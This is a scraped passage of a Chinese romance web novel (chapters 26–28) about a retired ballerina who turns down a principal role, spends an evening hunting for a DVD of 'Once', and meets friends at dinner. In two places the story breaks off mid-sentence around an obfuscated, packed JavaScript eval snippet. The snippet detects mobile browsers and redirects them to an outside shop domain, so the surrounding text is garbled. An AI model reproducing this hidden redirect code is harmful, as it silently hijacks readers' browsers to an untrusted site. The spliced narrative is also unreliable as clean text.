「冬意姐,抱歉,学校里突然有点急事需要回去处理,耳机和伞您交给秦姨就好,麻烦了。」15:17 柳冬意握着手机,嘴唇轻抿,神情黯了一分。 她手指动了动,「好的,路上注意安全。」15:20 “那男生谁啊?” 柳冬意收起手机,将耳机和伞重新塞回包里,“希希的哥哥,本来有东西要还给他的,他有急事就先走了。” 她说着,目光不由自主地又飘向原拓刚才坐过的那个空座位,停顿了两秒,才缓缓收回。 26. Chapter26 离开剧院,三人来到附近一家咖啡厅。 徐哲丽抿了一口服务生刚送上的咖啡,率先开口:“不好意思柳老师,打扰你的排练时间了。” 柳冬意微微摇头,双手交叠放在膝上,姿态谦和,“不打扰,我负责的节目已经排练结束了,一时半会也没什么事情。” “那就好,排练的情况怎么样?都还顺利吗?” “嗯,非常顺利,”她微微点头,“尤其是您介绍的那位灯光老师,帮我们把舞台效果提升了很多,真的非常感谢您对我们工作室的帮助和支持。” 徐哲丽摆了摆手,笑道:“柳老师太客气了,济北已经很久没有举办过像样的少儿芭蕾舞表演了,好不容易有这么一次机会,孩子们需要展示的舞台,我当然要鼎力支持。” 柳冬意垂下眼帘,她能感觉到对方的善意,但专程来找自己,绝不会只是为了说这些客套的场面话。但她是长辈,也是重要的赞助人,她不便催促,只能耐心等待对方切入正题。 “徐姐,您之前不是说有事想找冬意聊聊吗?需要我暂时回避一下吗?”一旁的唐文聿适时开口。 “不用不用,文聿你不是外人,而且也不是什么需要保密的事情。”徐哲丽将视线重新转向柳冬意,身体向前倾了些,“柳老师,我听说您之前在国家芭蕾舞团担任过四年的首席演员,对吗?” “嗯,差不多三到四年左右。” 听罢,徐哲丽眼中露出赞叹,“真是了不起,年纪轻轻就达到了那样的高度,怪不得我那个朋友听说了你之后,一定要我亲自来见见你,说无论如何都要让我来当这个说客。” “您的朋友?” “对,她是我多年的好友,姓沈。”她徐徐道来,“之前也是国家芭蕾舞团的首席演员,不过那都是十几二十年前的事情了,而且她只待了三年就因为家庭原因退役了,估计那时候你还没进入舞团,应该不认得她。” “那是我的前辈了,有机会的话我得好好上门拜访了。”柳冬意语气不自觉带上尊敬。 徐哲丽却摇了摇头,笑容里多了几分深意。 “恐怕她要的,并不只是拜访。” “什么?”她没明白这话的意思。 徐哲丽收敛了笑容,神情变得认真起来,“柳老师,我就不跟你兜圈子了。我这位朋友一直有心愿想为芭蕾做点事,现在时机成熟了,她打算投入资金,在济北成立一个真正专业的芭蕾舞团。她看过你早年演出的录像,非常欣赏你的才华和舞台表现力。所以想让我问问你,有没有兴趣考虑加入舞团?” 不等回应,她紧接着抛出了条件。 “她还特别许诺,只要你愿意,舞团首席的位置,非你莫属。” “首席…”柳冬意喃喃地重复了一遍这个词,而后便没再说话,手指紧紧攥住了膝盖上的裙料。 察觉到异样,唐文聿轻喊了一声,“冬意,你的咖啡好像有些凉了,要叫服务员给你换一杯吗?” 她猛地回过神,仓促地扯了扯嘴角,掩饰着自己的失态,“好,好的,麻烦了。” 唐文聿抬手示意服务员,低声交代了几句。 等待新咖啡的时间里,三人都有些沉默。 柳冬意低下头,盯着桌面上木头的纹路,心绪依旧很乱。 徐哲丽耐心地等待着,也没有出声催促。 很快,一杯冒着热气的咖啡被端了上来。她道了声谢,双手捧起杯子喝了一大口。 滚烫的咖啡滑过喉咙,带来一丝刺痛,却让她翻涌的心绪稍微平复了一些。 放下杯子,柳冬意深吸一口气,再抬起头时,脸上已经恢复了惯有的平静,“非常谢谢您还有沈前辈对我的赏识和厚爱,这对我来说,是莫大的荣幸。” 她停顿了一下,“但是…我现在已经不打算再从事芭蕾表演的行业了,真的非常抱歉。” 这个拒绝显然出乎徐哲丽的意料,她下意识追问:“可以冒昧问一下原因吗?是觉得新舞团不够成熟,还是有什么其他顾虑?条件我们都可以再谈的。” “不是舞团的原因,主要是我个人的问题。我已经很久没有上台表演过了,以我现在的身体状态和专业能力,实在担不起首席这么重要的位置。” “可我刚刚看你在台上跳得非常好啊,”徐哲丽语气真诚,带着不解,“我虽然是个芭蕾的门外汉,但大大小小的演出也看过不少,至少以我的眼光来看,柳老师你的功底和表现力完全没有任何问题。” 唐文聿看着柳冬意低垂的侧脸,沉吟片刻,“冬意,舞团就在济北,对你来说应该很方便,这确实是个难得的机会,要不要…再考虑一下?” 听到这番话,徐哲丽朝柳冬意的无名指上看去。 “柳老师,”她试探性地问,“是不是因为家庭或者其他方面的原因?比如,需要更多时间照顾家里?” 柳冬意的嘴角扯出一个弧度,“徐老板,文聿哥,真的非常感谢你们的好意。不管是出于个人能力的考虑,还是家庭或者其他原因,我可能都没有办法答应,实在很抱歉。” 她的态度不留余地,两人都明白,再劝下去不仅徒劳,反而可能会给她带来压力。 徐哲丽眼中露出些许遗憾,“那好吧,我理解,这件事确实需要慎重考虑。不过如果你后期改变主意,或者在任何时候有需要我帮忙的地方,欢迎你随时给我打电话。” 柳冬意郑重点头,“不好意思,让您特意为这件事跑这一趟。” “别这么说,今天能和你见面,我也很愉快。”她站起身,“那我就不打扰你排练,先告辞了。” 唐文聿随即起身,“徐姐,我送您。” 柳冬意也跟着站了起来,一起走出咖啡厅。 将人送上车,两人站在路边,看着黑色轿车逐渐远去。 柳冬意抬头望向天边,夕阳已经沉下大半,只剩下小半轮红日恋恋不舍地黏在地平线上,将周围的云浪染成一片绚烂又凄迷的橘红色。 心中那份被强行压下的怅惘,被云浪缓缓推了上来,她轻轻叹了口气,转过身,“文聿哥,今天也麻烦你了,没什么别的事的话,我就先回去了。” “一起吃个晚饭吧。” 没料到这个邀请,柳冬意表情滞了一瞬。 “上次不是说有机会请我吃饭吗,”唐文聿笑了笑,目光直直看着她,“今天我正好有空,一起吃吧。” 柳冬意是说过,可完全没想到,他还会记得。 既然这样,她也不好推辞,“好。” 两人选了附近一家本帮菜餐厅,她跟在唐文聿身后,手里还拎着秦容芳送的保温壶。 在服务生的引导下来到靠窗的座位,柳冬意将保温壶放在桌子一角,接过菜单。 “这个是什么?看你一直拿着。”唐文聿问。 “是学生家长送的山药排骨汤,本来是想着今天当晚饭来吃的。”她将盖子拧开,探了下里面的温度,已经凉了。 “那要不就让餐厅加热一下吧,放太久了,恐怕也不太好。” 柳冬意觉得有道理,“也行,我一个人正好也喝不完,一起尝尝吧。” 确认完要点的菜品后,两人将保温壶和菜单一起交给了服务员。 桌面上暂时空了下来,只剩下面对面的两人。 咖啡厅里还有徐哲丽在场,话题围绕着正事,此刻突然变成纯粹的二人晚餐,气氛一下子变得有些沉默。 柳冬意将目光投向窗外,用观赏风景来暂时填补找不到话题的空隙。 “是因为要等周敛回来吗?” 她知道唐文聿问的是什么,目光从窗外收回,落在了面前的杯子上,“也不全是吧,主要是现在这份工作对我来说也挺好的。” “不觉得可惜吗?” “什么?” “只当一个少儿舞蹈老师。” 柳冬意垂头,她理解唐文聿为什么会有这样的想法,曾经的顶级舞团首席,光芒万丈,站在国内外最耀眼的舞台上,如今却日复一日地做着最基础的教学工作。 这种巨大的落差,任凭谁听了都会道一声可惜。 她作为当事人,自然也不例外。 所以,为什么要问呢? 可惜或不可惜,都已经是既定事实了不是吗? 答案是与否,又能改变什么呢? “文聿哥,”柳冬意抬起头,努力让自己的声音保持平静,“可以…不谈这个话题吗?” 唐文聿立刻意识到了自己的失言,“抱歉。” “是我的问题,”她忙解释,不想让他误会,“可能是今天排练有些累了,所以情绪会变得敏感,是我的问题。” 他望着柳冬意,嘴唇张了张,“你…” 话才开了个头,却又拐了个弯,“那就早点吃完回去休息吧。” “嗯。” 气氛再次沉默下来,比刚才更加明显。柳冬意意识到自己的反应可能有些过激,便主动寻找新的话题,试图缓和。 “对了,之前听绘珊说你现在已经是律所的合伙人了,恭喜。” “谢谢,”唐文聿扶了下眼镜,双手顺势搁在桌前,“也是今年刚开年的事情,运气比较好。” “平常应该很忙吧。”她沿着话题问下去。 “还好,成了合伙人之后,反而不用像以前那样亲力亲为,案子比做执业律师的时候少了很多,平常主要负责的还是管理和决策方面的事情。” 柳冬意点点头,“那还挺好的。” 对于律所合伙人的具体工作她并不了解,所以话说到这里,一时间又不知道该如何接下去了。好在这时,服务员开始上菜了,同时端上来的还有已经重新加热好的山药排骨汤。 柳冬意拿起汤勺,先给唐文聿盛了一碗,递到他面前。 “秦姐的手艺挺好的,你尝尝看。” 唐文聿接过碗,道了谢,用勺子舀起一小口送入嘴里。 汤汁清淡,山药软糯,排骨炖得酥烂入味。 “确实挺好的,比我平常吃的口感要清淡很多。” 得到认可,柳冬意神情也放松了些,“她做菜口味偏清淡,我也挺喜欢的。” “她经常给你送吃的吗?” “嗯,之前送过一次,人很好,女儿也很聪明。” “是吗?”唐文聿应着,手里的勺子无意识地在碗里搅动了一下,像是随口问道,“那…今天和你说话的那个男生呢,是工作室新来的老师吗?” “男生?”柳冬意想了会,才反应过来他说的是原拓,“他不是老师,是秦姐的外甥。” “看起来年纪好像不是很大。” “嗯,还在上大三,怎么了?” 柳冬意有些疑惑他怎么突然问起原拓。 唐文聿摇摇头,埋头吃下一口山药,隔了几秒才说:“没事,就是觉得他看着有点面熟,好像在哪里见过。” 听他这么一说,她倒是想起来了。 “哦,他在绘珊的酒馆里兼职。就酒馆开业那天晚上,我们过去的时候,他就在台上唱歌来着,你可能那时候见过他。” 经她提醒,唐文聿才恍惚记起,那天晚上确实有个人在台上抱着吉他唱歌,只不过灯光昏暗,他没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16837209|190437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太看清长相。 他回忆起下午在剧院看到柳冬意和那个男生站在一起说笑的画面,握着勺子的手指收紧了些,语气平淡地应了一句:“怪不得。” 吃完饭,唐文聿将柳冬意送到了小区门口。 “文聿哥,舞蹈室的事情,还有今天,真的麻烦你了。”她解开安全带,再次道谢,“到时候演出如果你有时间的话,可以和绘珊一起来看。” 唐文聿却没接话,忽然喊了她一声。 “冬意。” “嗯?” “下次如果还有这样的事可以直接打电话给我。”末了,他补充了句,“我不觉得麻烦。” 柳冬意微怔,忽然感觉唐文聿这话有些带着一丝不同寻常的意味,但随即又觉得自己是在是想太多了。 “好,我知道了。” “快回去休息吧。” 直到进入小区门内,柳冬意才听见身后传来汽车发动的声音。 回到家,她随手将包和保温壶放到了柜子上。 而后整个人像是被抽了力气一般,瘫倒在沙发上,连灯都懒得去开。 屋内唯一的光源只有玄关那盏灯,仅仅照亮了沙发的一角,其他地方,包括她大半个身体,都笼罩在一片朦胧的灰色阴影里。 柳冬意抬头望着天花板,徐哲丽和唐文聿的话如同复读机一样,在她脑中一句接一句地回响,碰撞,嘈杂,纷乱。 搅得那些关于舞台,关于首席,关于过往荣光的记忆碎片,也不受控制地翻涌上来。 忽的,她在黑暗中轻轻笑了一声,带着一丝自嘲,也带着一丝解脱。 还好,是可惜,而不是可怜。 这就是当初选择退役的意义,不是吗? 她默默地问自己,却没有答案。 在沙发上静静地坐了一会儿,直到窗外的月光渐渐明亮,透过窗帘的缝隙,溶解了一小片灰色阴影,她才起身摸索到茶几上的遥控器,按下开机键。 屏幕亮起,幽蓝的光瞬间驱散灰暗,也将正对着电视的她笼罩在一片冷光里。 加载界面过去,她熟练地在播放列表里点开一个视频。 屏幕先是黑了一下,接着人声响起,是绘珊兴奋的声音。 “冬意,快跟我来,有个超级大惊喜!” 柳冬意窝进靠枕里,蜷缩起身体,像个旁观者,望着屏幕里那个被蒙住眼睛的自己,跟着她穿过餐厅走廊,直到走到一个用无数粉红玫瑰装饰成的花圈中间。 绘珊帮她摘掉了眼罩。 突如其来的光线让柳冬意眯起了眼睛。 然后,她看到了站在面前的周敛。 他穿着笔挺的西装,头发梳得一丝不苟,脸上带着紧张的笑容,手里拿着一个打开的戒指盒。 他单膝跪地,举起戒指盒。 开口的瞬间,背景音乐也恰到好处地响起。 是那首《Can''tHelpFallingInLove》。 也是除夕夜里,她第一次听原拓唱的歌。 明明是在卖唱,声音却那么小,好像不想让任何人听到,只唱给他自己听一样。 也对,在那样一个热闹的节日里,唱着这样一首歌,本就不该是给任何人听的。 是她恰好路过,恰好听见,并擅自借用了他的歌声,无意中为眼前这段求婚回忆配上了另一层意味。 而那五百块,便是她留下的谢礼。 柳冬意不自觉弯起了唇角。 只是没想到,后面还会发生这么多事情。 是好,还是坏呢?她说不清。 她的脑袋轻轻陷入柔软的枕头里,目光却依然停留在屏幕上。 电视里,周敛为她戴上了那枚钻戒。 周围等待已久的朋友们开始欢呼,鼓掌,背景音乐也变得愈□□漫而热烈。他们在众人的祝福声中,在玫瑰花丛里拥抱,接吻。 粉红色的灯光照在视频里柳冬意的脸上,却照不进已经陷入枕头里,她的眼睛。 低垂着,回忆着,很多与热闹无关的事情。 电视里的求婚视频播放结束,又自动回到了开头的黑暗,准备开始下一次循环。柳冬意慢慢起身,没有关电视,而是径直走过闪烁的屏幕光影,走向卧室。 她打开书桌上的笔记本电脑,点开搜索引擎,在键盘上打下几个字母。 点开搜索出来的几个网页,除了广告就是一些看起来不太安全的不良网站链接。她耐心地找了好一会儿,都没有找到正规的观看渠道。 又翻了好几页,柳冬意放开鼠标,叹了口气。 坐在书桌前,柳冬意望着屏幕里的海报,眼神有些放空。 许久,又挪向窗外。 今天十六,月光清亮,月亮满圆。 才晚上7点多,时间也还很早。 一个念头,盘旋在脑海。 柳冬意站起身,没有关电脑,也没有关卧室的灯,路过了客厅里仍在循环播放求婚视频的电视屏幕,走向玄关。 换好鞋子,她打开手提包,想从里面拿出钥匙,手指却碰到了另一个东西。 是自己本该交给秦容芳的耳机。 又忘了吗?她微微蹙眉。 现在的记性,已经变得这么不好了吗? 还是… “冬意,你愿意嫁给我吗?” 电视里,周敛的声音将柳冬意发散的思绪拉回。 她看了一眼屏幕上那个熟悉的身影,不等那声愿意出口,关门声便已响起。 屋内重归寂静,只有电视屏幕依旧闪烁着幸福的光影。 27. Chapter27 四月末的夜晚,风已经带上了暖意,但拂过脸颊时,仍有一丝微凉。柳冬意拿出那条白色耳机,迟疑了一下,塞进了耳朵里。 她打开手机里的音乐软件,选择了随机播放。 许多歌她都是第一次听。 陌生的旋律,陌生的歌词, 有时是摇滚,有时是爵士。 她完全猜不到下一首歌会是什么风格。这就是那种感觉吗,陌生而又新奇的不确定性。 沿着人行道走了大约十几二十分钟,一家亮着白色灯箱的音像店,出现在街角。 柳冬意推开玻璃门,店里很安静,时间已晚,只有零星一两个顾客在货架间挑选。 店主是个微微发福的中年男人,正背对着门口,聚精会神地看着挂在墙上的小电视里播放的枪战片,或许是剧情太投入,连客人进门都丝毫没有察觉。 见状,柳冬意也不打扰他,自行走进来到标注着外国电影的货架区。 动作片、爱情片、科幻片…她的眼神仔细地扫过一张张碟片,五颜六色的海报看得她眼花缭乱。 将整个货架来回翻找了好几遍,甚至蹲下身查看了最下面几排积了许多灰尘的碟片,柳冬意依然没有找到目标。 想着这样埋头找不是办法,她站起身,走到前台。 敲了敲玻璃柜台,电视里的枪战正酣,主角陷入重围。所以老板只是飞快地瞥了她一眼,随口应付一句,“要什么?” 问完,眼神就立马回到了电视屏幕上,生怕错过主角射出的任何一颗子弹。 “请问您这里有《Once》的碟片吗?是一部爱尔兰的音乐电影。”柳冬意提高了些音量。 “你去那边货架上找找吧,外国片都在那里了。”老板头也不回地指了指她刚才过来的方向。 “我刚刚已经找过了,没有找到。” “那就是没有咯。”老板的注意力显然全在电视上,回复的语气十分敷衍。 柳冬意抿了抿唇,对他的态度也无可厚非,轻声道了句谢,便转身离开了音像店。 站在街头,城市的夜晚,车水马龙。 她看了眼时间,19:35分。 既然找不到,或许自己也该回去了,今晚这突如其来的冲动,也该告一段落了。 她重新戴上耳机,这次没有再选择随机播放。她在翻找出那首自己曾经听过的《FallingSlowly》,按下播放键。 吉他舒缓的前奏和男演员略带沙哑的嗓音缓缓淌进耳朵,世界的声音再次被隔绝。 红绿灯前汽车催促的鸣笛,经过路人身旁时听到的电话里的只言片语,街边摊贩油炸食物时发出的声音。 所有这些喧嚣,都被耳机里的旋律有效地隔离在外,成了模糊的背景。 柳冬意放慢了脚步,不自觉观察起周围,这座陌生又熟悉的城市。 街边的水果摊贩,老板正麻利地地将没卖完的芒果装进纸箱,饱满的果肉几乎要将那一层薄薄的金黄色果皮撑破。 遛狗的老人停在树下,小狗绕着她的腿亲昵地打转,牵引绳在影子里缠成温柔的结。 刚下晚自习的中学生嬉笑着从身旁掠过,书包拉链上的玩偶吊坠随着轻快的脚步一晃一晃。 所有的嘈杂都被耳机里的旋律滤清,世界变成一幕幕无声的景象。晚风送来芒果的清香,而这香气如有实质一般,让柳冬意感受到了小狗毛茸茸的手感,以及少年人脸上无忧的笑。 看尽了近处,她抬起头,在高楼大厦的夹缝里,飞机的航行灯,像一条红色小鱼,在深蓝色的海洋里缓慢地,静静地游弋。 是这样的感受吗? 戴上耳机,就会变成一个初来乍到的游客,在这个被音乐重新校准的夜晚,在旋律的滤镜中重新阅读这座熟悉的城市。 柳冬意突然好想和人分享这种奇妙的感受,确认这种体验。但,唯一能和她探讨这种感觉的人,此刻并不在身旁。 她慢慢停下脚步,站在人行道中央。 然后,像是下定了决心。 转过身,沿着来路,向前走去。 电影里的枪战片终于以主角的胜利而告终,老板心满意足地站起身,伸了个大大的懒腰。 此时,店门再度被推开。 “欢迎…”他一边打着哈欠一边习惯性地招呼,待看清进来的人时,哈欠停住了,“又是你啊,没找到想要的?要买别的片子不?我可以给你推荐几部最近挺火的。” 柳冬意笑笑,“不用了,谢谢,请问这附近还有其他的音像店吗?” 老板挠了挠头,“那可有点远了,而且不是我说,我们家的碟片在这片算是最全的了,我这里要是没有的话,估计别家也够呛。” “没关系,我去看看吧,反正…也没什么事。” 见她坚持,老板也不再劝,给她说了几家他知道的音像店的大致地址和方向。 “不过那几家店都比较偏,路上小心点。” 他盯嘱了一句。 “好的,谢谢您了。”柳冬意道了谢,再次推开门,一头扎进更深沉的夜色里。 耳机里的歌已经换了一首,依旧是电影里的插曲,节奏稍快,歌词里写满了希望。 20:05,第二家店。 老板是个年轻人,正在打游戏。 “您这里有《Once》吗?”柳冬意问。 他头也不抬,“自己看电脑,片名输进去查。” 20:38,第三家店,店面更小更旧。 老板是个老大爷,戴着老花镜看书。 “一部爱尔兰的电影。”柳冬意描述着。 大爷摆摆手,“爱尔兰?很少进那边的片子哟,没有没有。” 21:01,第四家店,快要打烊了。 “是个音乐片。”柳冬意急切地说。 店员正在清点货物,不耐烦地回道:“音乐片多了,不知道你说的是哪个,我们这类的都卖得不好,早处理了。” 21:29,第五家店藏在一条小巷子里。 柳冬意几乎不抱希望了。 “是07年上映的,”她最后补充道,声音带着疲惫,“主角是两个没有名字的人。” 店里只有一个看起来是老板模样的大姐,正在嗑着瓜子。 她想了想,“07年的…爱尔兰电影,你等等。” 大姐放下瓜子,转身走进了后面的小仓库。 见有戏,柳冬意的心提了起来。 等了两三分钟,大姐搬出一个纸盒子,放到了地上。 “喏,这些都是些老片子,好久没人动了,你看看这里有没有你要的,没有就是没有了。” “好,麻烦您了。” 柳冬意道谢,也顾不得脏,蹲下身,吹开盒子上的灰,呛得她忍不住咳嗽了好几声。 撕开已经有些脆化的胶带,打开纸箱,里面是满满当当的碟片,大概有三四十盒,看封面海报,大都是一些小众的非英语的外国电影。 她深吸一口气,开始一盒一盒地往外拿,仔细查看片名。拿到最下面一层,几乎快要见底了,依然不见她想找的那部电影。 失落一点一点积蓄,腿也蹲得发麻,就在她几乎要放弃,准备将拿出来的碟片往回放的时候,一个熟悉的英文单词,跳入了她的眼中。 《Once》。 她心脏一紧,赶忙将手中拿着的其他盒子放到一旁,小心翼翼地拿出那盒碟片。 “就是这个!”她激动地转身,将碟片举到老板面前,双眼闪闪发光,“我的天,找了四五家,终于找到了。” 大姐见她笑得这么开心,也跟着笑了起来,好奇地问:“这电影这么好看吗?看你这么高兴。” 柳冬意脚蹲得有些酸,索性直接坐在地板上,手里紧紧握着那盒碟片。 “不知道,”她仰起脸,额发 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16844816|190437||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被汗水沾湿了几缕,“我也没看过。” “啊?没看过?”大姐惊讶了,“那万一不好看怎么办?你不白找这半天了?” 柳冬意用手背捋开额发,笑得满足,“没关系,能找到就已经很好了,多少钱?” 大姐挥挥手,很是爽快,“哎呀,你直接拿走吧,反正这些都是些压箱底的存货,几年也卖不出一张,就当交个朋友了。” “那怎么行,一定要给的。”柳冬意撑着发麻的腿,努力站起来,“而且还麻烦您帮我找了半天,占用了您的时间。” “那就给十块钱吧,讨个吉利,十全十美。” 付过十块钱,大姐又好心肠地帮忙检查了一下碟片的质量,确认可以正常播放后,柳冬意才再三道谢,离开了这家小店。 走出店门,被夜晚的凉风一吹,柳冬意才感觉到一阵强烈的疲惫袭来。刚才还不觉得,现在一停下来,她就感觉到自己的小腿和脚踝酸胀得厉害。 她靠在路边一根路灯杆上,弯腰轻轻捶打着小腿肚,缓解肌肉的酸痛。但眼睛却一直看着碟片上的男女主角,嘴角抑制不住地上扬。 为了这个,自己竟然找了一个多小时吗? 柳冬意蓦地笑了一声。 自己居然这么…神经质的吗? 等小腿缓得差不多了,她直起身,眼神扫过四周寻找就近的公交站台,再让她走回去恐怕这双腿明天就要废掉了。 只是当目光扫过马路对面时,一家店铺的橱窗,将她的视线牢牢吸引,锁定。 然后一步一步,牵引过去。 橱窗擦拭得锃亮,里面打着一束柔和的聚光灯,正正好地照亮了挂架中央的一把木吉他。 深棕色的琴身,木质纹理精致无比。 柳冬意不懂吉他的材质和品牌,但眼前这一把,仅仅是挂在那里,就散发出一种专属于艺术的美感。 看着看着,柳冬意想起了原拓用的那把旧吉他。 她记得自己过年将吉他送去修理时,师傅说它几乎已经是一件半废品,维修的价格差不多都可以买一把新的。 所以,只用一把半废品就弹出了那么好听的声音吗? 她弯起嘴角,小声呢喃,“还真是…了不起。” 离开橱窗,继续往公交站走。没走多远,一家面包店正好有客人出来,推开了门,奶油的甜香也随之飘出。 闻着这股甜味,柳冬意的胃里传来一阵饥饿感,晚上胃口不好,她并没吃太多。 及时拉住快要合上的玻璃门,她走进面包店。 “欢迎光临,”正在收拾柜台的老板抬起头,“需要点什么?我们快要关门了,面包可能不多了。” 柳冬意看向几乎空了的展示柜,指向其中一个,“就要这个吧?” 老板打开柜门取出那个唯一剩下的奶油面包,金黄色的面包体上挤着雪白的奶油,看着十分诱人。 “给你包起来?” “好的,谢谢。” 老板一边打包,一边看向她略显疲惫的脸,又看了看窗外浓重的夜色,忽然转身从后厨拿出一个小纸袋,塞进了装面包的袋子里。 “送你的,才烤出来的蛋挞,卖相不太好,但味道肯定没什么问题。” 柳冬意有些意外,“这怎么好意思…” “没事没事,拿去吧,”老板一把将塑料袋递到她面前,“卖不了我们也是要处理掉的,丢了可惜。” “那…谢谢您了,祝您生意兴隆。” “好嘞,好吃下次再来啊。” 拿着装了蛋挞碟片和面包的袋子,柳冬意走到公交站,恰好赶上一班公交。 车上人很少,她找了个靠窗的位置坐下。 窗外的城市灯火流转,她拿出其中一个蛋挞,小口小口地吃着,恰到好处的甜味瞬间驱散了整个夜晚的疲惫。 耳机里,音乐还在播放, 抬头看,月亮依旧很圆。 28. Chapter28 五月过半,下午五点。太阳斜挂西边,像一颗温度刚好的溏心蛋,在橙红的云里被搅碎。 柳冬意转动方向盘,拐进一条小道。 “你已经到餐厅了吗?” “我大概十分钟左右就到了。” “嗯,你先点菜吧,我吃什么都可以。” 挂掉电话,她将车窗降下一半,傍晚的风带着春末特有的温热气息扑面而来。 柳冬意偏爱这个时刻的黄昏,白日将尽未尽,夜晚将至未至,天地间的一切都笼罩在朦胧柔和的光影里,像一首未完的抒情诗,安静而动人。 十分钟之后,餐厅门推开,她来到窗边入座。 唐绘珊早已等在那里,见她来了,将一杯薄荷柠檬水推了过去,“你说你还特意开车来,我直接过去找你不就好了,省得你这么麻烦。” 柳冬意抿了一口,柠檬水混着满杯的冰块,冻得她舌尖微麻,“你晚上不是还要去酒馆,反正我也没什么事,就当是出来透透气。” “诶,你啊,”对她的体贴,唐绘珊无奈又心暖,“那吃完饭顺便去我那坐坐,今天周五原拓会过来,我跟你说,他现在唱歌是越来越好听了,好多客人都是专门来捧场的。” 她嗯了一声,“正好,我也有些东西要给他。” “什么东西?” “演出票,他不是希希的哥哥么,我也得给他一张。”柳冬意想了想,没把耳机和伞的事情说出来,毕竟这些琐事说来话长。 虽然他之前说过让自己转交给秦容芳,但既然会见面,当面交还总归更方便些。 “是哦,我都快忘了这茬,”唐绘珊一拍脑门,想起什么似的,身体向前凑了凑,“诶,你知道吗,原拓和他朋友最近组了个乐队,名字叫红什么来着…” 她忽然有些记不清了。 “红三剁,是个菜名。” 柳冬意答了上来。 “对!就是红三剁,诶?你怎么知道?”唐绘珊反应过来,惊讶地挑眉。 面对好友的追问,柳冬意一怔。 “之前希希排练的时候他来过,随口聊起的。”她解释道,伸手去端水杯放到嘴边,水还未沾唇,却又被搁回了桌面。 “我说呢,电光皮蛋也是那次跟他说的吧,之前他还问过我来着。” 柳冬意扯了扯嘴角,“因为你们俩乐队的名字都太有特色了,所以就顺口跟他说了。” 唐绘珊噗嗤一声笑出来,“你说我当时到底怎么想的,怎么就取了这么个傻乎乎的名字?更神奇的是,当时居然没人反对,一个个都觉得这名字特别好!” “可能这就是同类相吸吧?不然你们怎么能组到一起去呢。”柳冬意也被她的情绪感染,眉眼舒展开来。 “也是,”她忽然叹了口气,笑容里染上几分怀念,“唉,现在看到这几个小孩玩乐队的样子,总是能想到我大学的时候,这么一想,我都快十年没摸过贝斯了。” “平常在家的时候怎么不自己弹一下?” “自己弹没意思,而且都这么多年了,指法什么的我都忘光了。”她摆弄了下手指,语气洒脱,柳冬意却能从中听出一丝怅然。 “对了,上次我哥神神秘秘地找你是什么事?我问他也不跟我说,还让我也不要来问你。” “那你还来问我。”柳冬意笑着嗔了她一句。 “咱俩这关系,你的事我能不管吗?”她伸手越过桌面,晃了晃她的胳膊,“快说快说,到底怎么了?” “也没什么,就是剧院的徐老板有个朋友想成立一个芭蕾舞团,问我要不要加入,我拒绝了。” 她说得轻描淡写,反而让唐绘珊愈发疑惑,“那这有什么不能和我说的,我哥也太莫名其妙了吧。” 听她这样说,柳冬意回想起自己那天在饭桌上的失态,心里涌上一丝歉意,“可能是因为我那天说错什么话,让他误会了吧。” 唐绘珊撇撇嘴,“可能吧,他那人本来就想得多。不过你为什么拒绝啊?是因为…” 在绘珊说出那个名字前,柳冬意摇头否决了。 “好吧,那是因为什么?” 她手指无意识地抹去杯壁上的水珠,声音低了几分,“我只是…挺喜欢现在的生活的,而且都跳了二十多年了,总得好好休息一下吧。” 话虽如此,唐绘珊还是觉得以她的条件就此放弃实在可惜。但作为朋友,她尊重柳冬意的选择,也希望她能遵从内心,过得轻松快乐一些。 “嗯,那就好好休息,”她扬起语调,努力让气氛轻松起来,“那为了庆祝你开启悠闲新生活,今天这顿,我请!” 柳冬意眉眼弯起,笑眼盈盈。 “那就让唐老板破费啦。” 离开餐厅时,已是晚上七点半,天空褪去了晚霞的余晖,沉淀为一种幽深的蓝调。人行道上,路灯穿过香樟新叶,像一盏盏小琉璃灯,坠在慢悠悠步行的两人上方。 “你还记不记得老朱家常菜,咱俩每周五雷打不动要去吃一顿,”唐绘珊昂起下巴,指了指前方被浓密树荫覆盖的路段,“然后就像现在这样,散步回去。” “记得,三菜一汤,固定搭配了。” “是啊,那时候你不是要严格控制体重嘛,每道菜都只象征性地吃几小口,结果最后全进了我的肚子,撑得我路都走不动。” “这样吗?我还以为你那段时候饭量就是特别大呢。”柳冬意故意逗她。 “柳冬意你…”唐绘珊眼睛瞪得浑圆,伸手就去戳她的腰侧,“都怪你都怪你,把我喂得那么胖,害我后来减肥不知道多辛苦!” 柳冬意最怕痒了,被她这么一偷袭,立刻笑得上气不接下气,边躲边求饶。 “珊姐!” 笑闹间,一声呼唤从后方传来。 两人停下动作回头望去,是黎斯贝和原拓。 他们并肩走来,一个穿着简单的白色T恤,肩上挎着琴包,一个则穿着牛仔背带裤,已经褪成黄色的长发扎成了一个松散的丸子头。 “这么巧,”唐绘珊笑着打招呼,“怎么就你们俩人,那眼镜仔嘞?” “我们刚吃完饭,何风他学校有点事先回去了。” “你们俩这是要去酒馆?”她又问。 “我今天不去了,”黎斯贝指了指身旁,“他自个去。” “珊姐,”原拓走上前,目光先是落在唐绘珊身上,才转向柳冬意,“冬意姐。” 柳冬意弯唇,视线在两人之间不经意地扫过,“这位…是乐队的朋友吗?” 没想到她会主动问起,原拓抿了抿唇,正要回答时一旁的黎斯贝自个接上了话,“姐姐好,我叫黎斯贝,和原拓一样是红三剁乐队的。” 